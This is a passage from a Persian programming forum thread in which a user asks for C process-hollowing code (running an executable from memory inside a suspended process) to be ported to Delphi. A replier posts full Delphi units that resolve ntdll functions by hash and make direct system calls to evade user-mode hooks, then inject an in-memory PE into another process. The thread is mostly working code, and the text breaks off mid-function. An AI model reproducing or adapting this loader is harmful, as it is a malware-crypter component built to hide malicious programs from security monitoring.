PDA

View Full Version : حرفه ای: تبدیل این کد C به Delphi



N30TheM4TRIX
چهارشنبه 25 اردیبهشت 1392, 17:53 عصر
سلام
من زیاد به سی مسلط نیستم و کارم با دلفیه.
برای کار خاصی به این کد احتیاج دارم اگه کسی از دوستان میتونه برام تبدیلش کنه یا بگه چه کار کنم.


#include <Windows.h>

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);


LPVOID LoadFileInMemory(LPCSTR szFileName)
{
HANDLE hFile;
DWORD dwRead;
DWORD dwSize;
LPVOID pBuffer = NULL;

hFile = CreateFileA(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile)
{
dwSize = GetFileSize(hFile, NULL);
if (dwSize > 0)
{
pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pBuffer)
{
SetFilePointer(hFile, NULL, NULL, FILE_BEGIN);
ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL);
}
}
CloseHandle(hFile);
}
return pBuffer;
}

void ExecuteFile(LPSTR szFilePath, LPVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;

IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));

if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandl eA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}

pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}


int main()
{
LPVOID pFile;
TCHAR szFilePath[1024];

pFile = LoadFileInMemory("test.exe");
if (pFile)
{
GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
ExecuteFile(LPSTR(szFilePath), pFile);
}
return 0;
}


Sorce (http://forum.tuts4you.com/topic/29898-start-executable-from-memory/)

یوسف زالی
چهارشنبه 25 اردیبهشت 1392, 18:02 عصر
آب پرتقال میل ندارید؟

Felony
چهارشنبه 25 اردیبهشت 1392, 19:08 عصر
برو حیا کن بچه ، جدیدا زدی تو خط کارهای مورد علاقه من ها !

http://www.delphibasics.info/home/delphibasicssnippets/memoryexecutionunit-winxpwinvistawin7-uexecfrommem



آب پرتقال میل ندارید؟
شما شیرینی و نهار ما رو بده ، آب پرتقال پیشکش ;)

N30TheM4TRIX
چهارشنبه 25 اردیبهشت 1392, 19:33 عصر
آب پرتقال میل ندارید؟ آقا شرمنده بد ،درخواست کردم حق با شماست.


برو حیا کن بچه ، جدیدا زدی تو خط کارهای مورد علاقه من ها !به خدا تقصیر من نیست یه همکلاسی دارم توی این کاره مخمو شستشو داده منم آورده توی این خط ،میشناسیدش بهروز عباسی (http://barnamenevis.org/member.php?231262-%D8%A8%D9%87%D8%B1%D9%88%D8%B2-%D8%B9%D8%A8%D8%A7%D8%B3%DB%8C) :لبخند: نمیدونم چرا کد دلفی اینو بهم نداد:ناراحت:.


اما یه سوال نوع داده LPVOID توی دلفی معادلش چی میشه ؟

یوسف زالی
چهارشنبه 25 اردیبهشت 1392, 20:01 عصر
ناراحت نشو دوست من، اینجا به هم یاد می دیم. برا هم کار نمی کنیم.



شما شیرینی و نهار ما رو بده


یعنی زدم لهت کردم ها، هر کی نیاد؟!
:لبخند:

BORHAN TEC
چهارشنبه 25 اردیبهشت 1392, 20:07 عصر
سلام
در حالت کلی تبدیل کدهای دلفی به C++ راحته ولی تبدیل C++ به دلفی سخته! معمولاً در این شرایط کدهای C++ را به DLL تبدیل می کنند و در دلفی از آن استفاده می کنند.
موفق باشید...

مصطفی ساتکی
چهارشنبه 25 اردیبهشت 1392, 21:45 عصر
اما یه سوال نوع داده LPVOID توی دلفی معادلش چی میشه ؟
از اون typedef مایکروسافتی در واقع همون typedef مربوط به *void هستش.


سلام
در حالت کلی تبدیل کدهای دلفی به C++‎ راحته ولی تبدیل C++‎ به دلفی سخته! معمولاً در این شرایط کدهای C++‎ را به DLL تبدیل می کنند و در دلفی از آن استفاده می کنند.

این یعنی چی؟ میخاد exe رو تو دلفی دستکاری کنه مگه میخاد مسئله حل کنه که سخت باشه ، تبدیل خط به خط هستش.

BORHAN TEC
چهارشنبه 25 اردیبهشت 1392, 22:32 عصر
سلام

این یعنی چی؟ میخاد exe رو تو دلفی دستکاری کنه مگه میخاد مسئله حل کنه که سخت باشه ، تبدیل خط به خط هستش.
من در پست قبلی از عبارت "در حالت کلی" استفاده کرده ام. به این موضوع بیشتر دقت کنید. :چشمک:
پیش فرض من در پست قبلی تبدیل کدهای C++ به دلفی بود و نه هدف از اجرای اون کد! :چشمک:
همانطور که خودتان هم میدانید در C++‎‎‎‎ عباراتی را می توان یافت که معادل مستقیمی در دلفی ندارند و همین موضوع این تبدیلات رو سخت میکنه. آیا اینطور نیست؟ :چشمک: اگر این تبدیلات راحت بود تا به حال یک نرم افزار برای تبدیل کدهای C++‎‎‎ به دلفی تولید شده بود. با این که در این مورد هم نرم افزارهایی وجود دارند اما همگی آنها بیشتر شبیه به یک اسباب بازی کودکانه هستند که هیچگونه کارایی قابل قبولی ندارند.
علاوه بر DLL راه حل دیگر استفاده از فایلهای Object در دلفی می باشد. برای یادگیری نحوه استفاده از این تکنیک می توانید به لینک زیر مراجعه کنید:
http://www.codeproject.com/Articles/264103/Using-COFF-C-object-files-with-Delphi-X2

بهروز عباسی
شنبه 28 اردیبهشت 1392, 19:24 عصر
درود به همه

شاید این پست پاسخ این سوال نباشه (تبدیل کد ... ) ، ولی نتیجه یکیه !

نمیدونم چرا کد دلفی اینو بهم نداد:ناراحت:عین خیار فروختیم ؟:لبخند:
اینم کد دلفی ،ولی یه خورده عجیبه برات ها !

یک برنامه رو در فضای [حافظه] یه برنامه دیگه اجرا میکنه :

مواد لازم :
این یونیت :
{ U_UnionApi
Author: Abhe
Description: Anti Hook NTDLL API
Release Date: 1 December 2011
Website: http://cybercoding.wordpress.com/
History: Thanks method from GameDeception, not remember who.. <img src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" alt=":D" class="wp-smiley">
}


unit U_UnionApi;

interface
uses
Windows;

var
pSystemCall: Pointer;
WOW32Reserved: Cardinal;
Ntdll: Pointer;
SysNumber : DWORD;

function strlenA(const s: PAnsiChar): cardinal;
function LazyLoadPe(szFilename:PWideChar):Pointer;
Function GetSysNumber(ApiHash : DWORD):Word;overload;
Function GetSysNumber(ApiName : AnsiString):Word; overload;
function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
function ExGetmoduleFileName(mhash: Cardinal): PWideChar;

function ApiStub: DWORD; stdcall;

{32}
function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall; overload;
function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall; overload;
implementation

function strlenA(const s: PAnsiChar): cardinal;
asm
mov edx, edi
mov edi, eax
or ecx, -1
xor eax, eax
repne scasb
dec eax
dec eax
sub eax, ecx
mov edi, edx
end;

function adler32(adler: cardinal; buf: pointer; len: cardinal): cardinal;
asm
push ebx
push esi
push edi
mov edi,eax
shr edi,16
movzx ebx,ax
push ebp
mov esi,edx
test esi,esi
mov ebp,ecx
jne @31
mov eax,1
jmp @32
@31:
test ebp,ebp
jbe @34
@33:
cmp ebp,5552
jae @35
mov eax,ebp
jmp @36
@35:
mov eax,5552
@36:
sub ebp,eax
cmp eax,16
jl @38
xor edx,edx
xor ecx,ecx
@39:
sub eax,16
mov dl,[esi]
mov cl,[esi+1]
add ebx,edx
add edi,ebx
add ebx,ecx
mov dl,[esi+2]
add edi,ebx
add ebx,edx
mov cl,[esi+3]
add edi,ebx
add ebx,ecx
mov dl,[esi+4]
add edi,ebx
add ebx,edx
mov cl,[esi+5]
add edi,ebx
add ebx,ecx
mov dl,[esi+6]
add edi,ebx
add ebx,edx
mov cl,[esi+7]
add edi,ebx
add ebx,ecx
mov dl,[esi+8]
add edi,ebx
add ebx,edx
mov cl,[esi+9]
add edi,ebx
add ebx,ecx
mov dl,[esi+10]
add edi,ebx
add ebx,edx
mov cl,[esi+11]
add edi,ebx
add ebx,ecx
mov dl,[esi+12]
add edi,ebx
add ebx,edx
mov cl,[esi+13]
add edi,ebx
add ebx,ecx
mov dl,[esi+14]
add edi,ebx
add ebx,edx
mov cl,[esi+15]
add edi,ebx
add ebx,ecx
cmp eax,16
lea esi,[esi+16]
lea edi,[edi+ebx]
jge @39
@38:
test eax,eax
je @42
@43:
xor edx,edx
mov dl,[esi]
add ebx,edx
dec eax
lea esi,[esi+1]
lea edi,[edi+ebx]
jg @43
@42:
mov ecx,65521
mov eax,ebx
xor edx,edx
div ecx
mov ebx,edx
mov ecx,65521
mov eax,edi
xor edx,edx
div ecx
test ebp,ebp
mov edi,edx
ja @33
@34:
mov eax,edi
shl eax,16
or eax,ebx
@45:
@32:
pop ebp
pop edi
pop esi
pop ebx
end;

function LazyLoadPe(szFilename:PWideChar):Pointer;
var
hFile: DWORD;
dwSize: DWORD;
dwNull: DWORD;
temp: Pointer;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
result := nil;
hFile := CreateFileW(szFilename, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if (hFile = INVALID_HANDLE_VALUE) then exit;
dwSize := GetFileSize(hFile, nil);
GetMem(temp, dwSize);
if not ReadFile(hFile, temp^, dwSize, dwNull, nil) then exit;
IDH := temp;
INH := Pointer(Integer(temp) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, temp, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
ISH := Pointer(Integer(temp) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(temp) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
FreeMem(temp, dwSize);
CloseHandle(hFile);
end;

function GetPEB(): Pointer;
asm
mov eax, large fs:30h
retn
end;

function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
var
x , f, cur : DWORD;
Hash : Cardinal;
begin
result := 0;
x := DWORD(GetPEB);
if (mhash = 0) then begin
result := PDWORD(x+8)^;
exit;
end;
x := PDWORD(x+$C)^;
f := x+$14;
cur := PDWORD(f)^;
while (cur <> f) do begin
x := cur - $8;
Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
if (hash=mhash) then begin
result := PDWORD(x+$18)^;
exit;
end;
cur := PDWORD(cur)^;
end;
end;

function ExGetmoduleFileName(mhash: Cardinal): PWideChar;
var
x , f, cur : DWORD;
Hash : Cardinal;
begin
result := nil;
x := DWORD(GetPEB);
x := PDWORD(x+$C)^;
f := x+$14;
cur := PDWORD(f)^;
while (cur <> f) do begin
x := cur - $8;
Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
if (hash=mhash) then begin
result := PWidechar(Pointer(PDWORD(x+$28)^));
exit;
end;
cur := PDWORD(cur)^;
end;
end;

function ExGetProcAddress(hModule: THANDLE; phash: Cardinal): Pointer;
var
pINH: PImageNtHeaders;
pIDD: PImageDataDirectory;
pIED: PImageExportDirectory;
pdwFuncs1, pdwFuncs: PULONG;
pdwNames: PULONG;
pdwOrdinals: PWORD;
dwOrd1: DWORD;
i, k: cardinal;
apiname:PAnsiChar;
hash :Cardinal;
begin
result := nil;
pINH := PImageNtHeaders(Cardinal(hModule) + Cardinal(PImageDosHeader(hModule)^._lfanew));
pIDD := PImageDataDirectory(Cardinal(@pINH^.OptionalHeader .DataDirectory) + IMAGE_DIRECTORY_ENTRY_EXPORT);
pIED := PImageExportDirectory(ULONG(hModule) + pIDD^.VirtualAddress);
pdwFuncs := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfFunctions));
pdwNames := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfNames));
pdwOrdinals := PWORD(ULONG(hModule) + Cardinal(pIED^.AddressOfNameOrdinals));
pdwFuncs1 := pdwFuncs;
for i := 0 to pIED^.NumberOfNames - 1 do begin
dwOrd1 := pdwOrdinals^;
k := 0;
pdwFuncs := pdwFuncs1;
while (k < dwOrd1) do begin
inc(pdwFuncs);
inc(k);
end;
if (pdwFuncs^ < pIDD^.VirtualAddress) or (pdwFuncs^ >= pIDD^.VirtualAddress + pIDD^.Size) then begin
apiname := PAnsiChar(hModule + pdwNames^);
hash := adler32(0, apiname, strlenA(apiname));
if (hash = phash) then begin
result := Pointer(ULONG(hModule) + pdwFuncs^);
exit;
end;
end;
inc(pdwOrdinals);
inc(pdwNames);
end;
end;

Function GetSysNumber(ApiHash : DWORD):Word;
var
Addr : Pointer;
begin
Addr := ExGetProcAddress(Cardinal(Ntdll), ApiHash);
result := PWord(NativeUint(Addr)+1)^
end;

Function GetSysNumber(ApiName : AnsiString):Word;
var
Hash : Cardinal;
begin
hash := adler32(0, Pansichar(apiname), Length(apiname));
result := GetSysNumber(hash);
end;

//
// Manual System Call Api
//
function IsWow:NativeUint; stdcall;
asm
xor eax, eax
mov eax, fs:[eax+$18] //teb
mov eax, [eax+$C0] //WOW32Reserved
end;

function bSysenterAvailable: Bool;
asm
XOR EAX, EAX
CPUID
BT EDX, 11
db $D6 //SALC
end;

procedure INT2;
asm
LEA EDX, [ESP+8]
INT $2E
end;

procedure SYSENTER;
asm
MOV EDX, ESP
SYSENTER
end;

procedure WowCall;
asm
xor ecx,ecx
lea edx,[esp+4]
call dword ptr fs:[$0C0]
end;

Procedure InitSysCall;
begin
WOW32Reserved := IsWow;
{check if sysenter availabe, use int2 if not}
if not bSysenterAvailable then pSystemCall := @INT2
else pSystemCall := @SYSENTER;
if Boolean(WOW32Reserved) then pSystemCall := @WowCall;
end;

function ApiStub: DWORD; stdcall;
asm
POP EBP
mov edi, dword ptr [esp]
mov dword ptr [esp+4], edi
add esp, 4
push eax
call IsWow;
mov edi, eax
pop eax
dec edi
jns @F1
xor EDI, EDI
call pSystemCall
jmp @f2
@F1:
xor EDI, EDI
jmp pSystemCall
@F2:
//PUSH EBP
end;

function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5, Arg6, Arg7: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall;
begin
case length(arg) of
1 : result := ApiCall32(Number, Arg[0].VPointer);
2 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer);
3 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer);
4 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer);
5 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer);
6 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer);
7 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer);
8 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer, Arg[7].VPointer);
else result := 0;
end;
end;

function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall;
begin
result := ApiCall32(GetSysNumber(ApiName), Arg);
end;


initialization
Ntdll := LazyLoadPe(ExGetmoduleFileName($240C0388));
InitSysCall;
finalization
FreeMem(Ntdll);
end.
و این یونیت :

{ Just Another version execute File from memory, use native -> syscall for bypass all usermode hooker
Website: Cybercoding.wordpress.com / http://ic0de.org
Modified: abhe
Thanks : steve10120
}
unit U_MemExecute;

interface

uses
windows, System.SysUtils, U_UnionApi;

function ExecuteFromMem(szFilePath, szParams: String; pFile: Pointer;
PatchPEB: Boolean): DWORD;

implementation

Type
NTSTATUS = cardinal;
PVOID = Pointer;
PPVOID = ^PVOID;

PUnicodeString = ^TUnicodeString;

TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;

PImageBaseRelocation = ^TImageBaseRelocation;

TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;

procedure xdebug(int: integer);
begin
// codesite.Send('error', int);
end;

function NtSuccess(Stat: LongInt): Boolean;
begin
Result := Stat >= 0;
end;

// just how virtualalloc from old code of win src
function ExVirtualAlloc(hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
Status: NTSTATUS;
begin
Status := ApiCall32('NtAllocateVirtualMemory', [hProcess, @lpAddress, 0,
@dwSize, flAllocationType, flProtect]);

if NtSuccess(Status) then
Result := lpAddress
else
Result := nil;
end;

function ExWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer;
lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD)
: BOOL; stdcall;
var
RegionSize: cardinal;
Base: Pointer;
OldProtect: ULONG;
Status: NTSTATUS;
begin
Result := false;
RegionSize := nSize;
Base := lpBaseAddress;

Status := ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
PAGE_EXECUTE_READWRITE, @OldProtect]);

if NtSuccess(Status) then
begin

if ((OldProtect and PAGE_READWRITE) = PAGE_READWRITE) or
((OldProtect and PAGE_WRITECOPY) = PAGE_WRITECOPY) or
((OldProtect and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE) or
((OldProtect and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY) then
begin

ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);

Status := ApiCall32('NtWriteVirtualMemory', [hProcess, lpBaseAddress,
lpBuffer, nSize, @lpNumberOfBytesWritten]);

if NtSuccess(Status) then
begin
Result := true;
ApiCall32('NtFlushInstructionCache', [hProcess, lpBaseAddress, nSize]);
end;
end
else
begin

if ((OldProtect and PAGE_NOACCESS) = PAGE_NOACCESS) or
((OldProtect and PAGE_READONLY) = PAGE_READONLY) then
begin

ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);
end
else
begin

Status := ApiCall32('NtWriteVirtualMemory',
[hProcess, lpBaseAddress, lpBuffer, nSize, @lpNumberOfBytesWritten]);

ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);

if NtSuccess(Status) then
begin
Result := true;
ApiCall32('NtFlushInstructionCache',
[hProcess, lpBaseAddress, nSize]);
end;
end;
end;
end;
end;

// patch imagepath from peb for make all getmodulefilename call will result true file lokation
Procedure PatchImagePathRemote(PH: THandle; Peb: DWORD;
szNewImageBaseName: PWideChar);
Label
Top, Retry;
var
no_success: integer;
ldr_data: DWORD;
Current: DWORD;
BytesRead: DWORD;
unicode: TUnicodeString;
pNewAddr: Pointer;
begin
no_success := 0;
Retry:
if (no_success >= 600) then
exit
else
begin
inc(no_success);
Sleep(50);
goto Top;
end;
Top:
xdebug(400);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(Peb + $C),
@ldr_data, sizeof(ldr_data), @BytesRead]))) or (ldr_data = 0) then
goto Retry;

xdebug(401);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(ldr_data + $C),
@Current, sizeof(Current), @BytesRead]))) or (Current = 0) then
goto Retry;

xdebug(402);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(Current + $24),
@unicode, sizeof(unicode), @BytesRead]))) then
exit;

unicode.Length := lstrlenW(szNewImageBaseName) * 2;
unicode.MaximumLength := unicode.Length + 2;

xdebug(403);
pNewAddr := ExVirtualAlloc(PH, nil, unicode.Length, $1000 or $2000, $40);

xdebug(404);
if (pNewAddr <> nil) then
begin
xdebug(405);
unicode.Buffer := pNewAddr;
ExWriteProcessMemory(PH, pNewAddr, szNewImageBaseName, unicode.Length,
BytesRead);
ExWriteProcessMemory(PH, Ptr(Current + $24), @unicode, sizeof(unicode),
BytesRead);
end;
end;

function Get4ByteAlignedContext(var Base: Pointer): PContext;
begin
Base := ExVirtualAlloc(THandle(-1), nil, sizeof(TContext) + 4, MEM_COMMIT,
PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;

procedure PerformBaseRelocation(f_module: Pointer; INH: PImageNtHeaders;
f_delta: cardinal); stdcall;
var
l_i: cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^longword;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(cardinal(l_codebase) +
INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(cardinal(l_relocation) + 8);
for l_i := 0 to (Trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(cardinal(l_dest) + cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) +
l_relocation.SizeOfBlock);
end;
end;
end;

function AlignImage(pImage: Pointer): Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: Word;
begin
IDH := pImage;
INH := Pointer(integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress),
Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;

function IsWow: Boolean;
type
TIsWow64Process = function(Handle: THandle; var IsWow64: BOOL): BOOL; stdcall;
var
hKernel32: integer;
IsWow64Process: TIsWow64Process;
IsWow64: BOOL;
begin
Result := false;
hKernel32 := LoadLibrary('kernel32.dll');
if (hKernel32 = 0) then
RaiseLastOSError;
@IsWow64Process := GetProcAddress(hKernel32, 'IsWow64Process');
if Assigned(IsWow64Process) then
begin
IsWow64 := false;
if (IsWow64Process(GetCurrentProcess, IsWow64)) then
begin
Result := IsWow64;
end
else
RaiseLastOSError;
end;
FreeLibrary(hKernel32);
end;

// execute pe file from memory
function ExecuteFromMem(szFilePath, szParams: String; pFile: Pointer;
PatchPEB: Boolean): DWORD;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase, pModule: Pointer;
dwIBase, dwread: DWORD;
Wow1, wow2: cardinal;
begin
Result := 0;

{ Check Image }
if pFile = nil then
exit;
IDH := pFile;
if (IDH^.e_magic <> IMAGE_DOS_SIGNATURE) then
exit;
INH := Pointer(integer(pFile) + IDH^._lfanew);
if (INH^.Signature <> IMAGE_NT_SIGNATURE) then
exit;

ZeroMemory(@SI, sizeof(TStartupInfo));
ZeroMemory(@PI, sizeof(TProcessInformation));
SI.cb := sizeof(TStartupInfo);

xdebug(200);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, false,
CREATE_SUSPENDED, nil, nil, SI, PI) then
begin

{ check is64bit, if 64bit aplication then we dont inject to it.. inject to own file instead }
Wow1 := 1; // IsWow;
wow2 := 0;

// NtQueryInformationProcess -> ProcessWow64Information
ApiCall32('NtQueryInformationProcess', [PI.hProcess, 26, @wow2,
sizeof(wow2), nil]);

if (Wow1 <> 0) and (wow2 = 0) then
begin
{ target is 64bit, use self injection }

// NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);

xdebug(207);
ExecuteFromMem(paramstr(0), szParams, pFile, PatchPEB);

exit;
end;

xdebug(201);
CT := Get4ByteAlignedContext(CTBase);
if (CT <> nil) then
begin

xdebug(202);
CT.ContextFlags := CONTEXT_FULL;

// NtGetContextThread
if NtSuccess(ApiCall32('NtGetContextThread', [PI.hThread, CT])) then
begin

xdebug(203);
dwread := 0;

// NtReadVirtualMemory
NtSuccess(ApiCall32('NtReadVirtualMemory',
[PI.hProcess, Pointer(CT.Ebx + 8), @dwIBase, sizeof(dwIBase),
@dwread]));

dwread := INH^.OptionalHeader.SizeOfImage;

if (dwIBase = INH^.OptionalHeader.ImageBase) then
begin
// NtUnmapViewOfSection
if ApiCall32('NtUnmapViewOfSection',
[PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)]) = 0 then
pModule := ExVirtualAlloc(PI.hProcess,
Pointer(INH^.OptionalHeader.ImageBase),
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
else
pModule := ExVirtualAlloc(PI.hProcess, nil,
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end
else
